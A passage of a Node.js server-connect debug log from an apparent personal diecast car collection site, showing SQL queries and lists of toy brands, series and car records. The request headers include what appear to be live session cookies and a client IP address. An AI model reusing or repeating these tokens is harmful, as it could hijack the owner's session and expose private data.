    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast-worksheet',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"4f9f-Oj9BAU00czDath1DlIur1k004Ew"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AZ37R8lJUqCjvWfwgWKguBQ%3D%3D.xch4TbbLP0mgsLADwSRkwo5nVUjsr8xGzCra34BoVcb9OGmQGaTUcuRYhNUgpfhRovPPEDxDP5%2BzvEe1zT1gE%2BeXv3v%2BTKi%2FCeDjEarRhWcP%2FkS4HqcCHxqbqsjvlTY6Cxq4NwTi1QHPCu%2F5%2FUf%2F0Plt%2FFg1l1%2FAVpgLfTs8PUE%3D.P2J5aas5FtIg4ktq%2FNsRRdzHZ%2F7rLPBonuaV7YwxmGA; your_r_git.sid=s%3AmLN9Mt1EyrQ6PJ19RJWaLXBEwC1pBjUl.UUgUkewUMSed2UUj8ji7%2Fip2mvX%2BJ%2B9ZC1O%2FMmrbjBY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T12:01:39.296Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-worksheet',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-worksheet',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast-worksheet',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"4f9f-Oj9BAU00czDath1DlIur1k004Ew"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AZ37R8lJUqCjvWfwgWKguBQ%3D%3D.xch4TbbLP0mgsLADwSRkwo5nVUjsr8xGzCra34BoVcb9OGmQGaTUcuRYhNUgpfhRovPPEDxDP5%2BzvEe1zT1gE%2BeXv3v%2BTKi%2FCeDjEarRhWcP%2FkS4HqcCHxqbqsjvlTY6Cxq4NwTi1QHPCu%2F5%2FUf%2F0Plt%2FFg1l1%2FAVpgLfTs8PUE%3D.P2J5aas5FtIg4ktq%2FNsRRdzHZ%2F7rLPBonuaV7YwxmGA; your_r_git.sid=s%3AmLN9Mt1EyrQ6PJ19RJWaLXBEwC1pBjUl.UUgUkewUMSed2UUj8ji7%2Fip2mvX%2BJ%2B9ZC1O%2FMmrbjBY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-24T12:02:15.368Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-24T12:02:15.370Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-24T12:02:15.371Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-24T12:02:15.372Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-24T12:02:15.372Z server-connect:app Executing action step identify
2026-02-24T12:02:15.372Z server-connect:app options: { provider: 'security' }
2026-02-24T12:02:15.372Z server-connect:output identity: 1
2026-02-24T12:02:15.372Z server-connect:app Executing action step restrict
2026-02-24T12:02:15.372Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:02:15.373Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-24T12:02:15.373Z server-connect:output restrict: undefined
2026-02-24T12:02:15.373Z server-connect:app Executing action step select
2026-02-24T12:02:15.373Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-24T12:02:15.373Z server-connect:app Executing action step identify
2026-02-24T12:02:15.374Z server-connect:app options: { provider: 'security' }
2026-02-24T12:02:15.374Z server-connect:output identity: 1
2026-02-24T12:02:15.374Z server-connect:app Executing action step restrict
2026-02-24T12:02:15.374Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:02:15.374Z server-connect:app Executing action step identify
2026-02-24T12:02:15.374Z server-connect:app options: { provider: 'security' }
2026-02-24T12:02:15.374Z server-connect:output identity: 1
2026-02-24T12:02:15.374Z server-connect:app Executing action step restrict
2026-02-24T12:02:15.374Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:02:15.375Z server-connect:output restrict: undefined
2026-02-24T12:02:15.375Z server-connect:app Executing action step select
2026-02-24T12:02:15.375Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-24T12:02:15.375Z server-connect:app Executing action step identify
2026-02-24T12:02:15.375Z server-connect:app options: { provider: 'security' }
2026-02-24T12:02:15.375Z server-connect:output identity: 1
2026-02-24T12:02:15.376Z server-connect:app Executing action step restrict
2026-02-24T12:02:15.376Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:02:15.377Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-24T12:02:15.378Z server-connect:output restrict: undefined
2026-02-24T12:02:15.378Z server-connect:app Executing action step select
2026-02-24T12:02:15.378Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-24T12:02:15.378Z server-connect:app Executing action step identify
2026-02-24T12:02:15.378Z server-connect:app options: { provider: 'security' }
2026-02-24T12:02:15.378Z server-connect:output identity: 1
2026-02-24T12:02:15.378Z server-connect:app Executing action step restrict
2026-02-24T12:02:15.378Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:02:15.380Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-02-24T12:02:15.381Z server-connect:output restrict: undefined
2026-02-24T12:02:15.381Z server-connect:app Executing action step paged
2026-02-24T12:02:15.381Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-24T12:02:15.383Z server-connect:output restrict: undefined
2026-02-24T12:02:15.383Z server-connect:app Executing action step select
2026-02-24T12:02:15.383Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-24T12:02:15.385Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-24T12:02:15.386Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-24T12:02:15.386Z server-connect:app Executing action step select
2026-02-24T12:02:15.386Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-24T12:02:15.387Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-24T12:02:15.388Z server-connect:app Executing action step select
2026-02-24T12:02:15.388Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-24T12:02:15.389Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-24T12:02:15.394Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 167,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 190,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
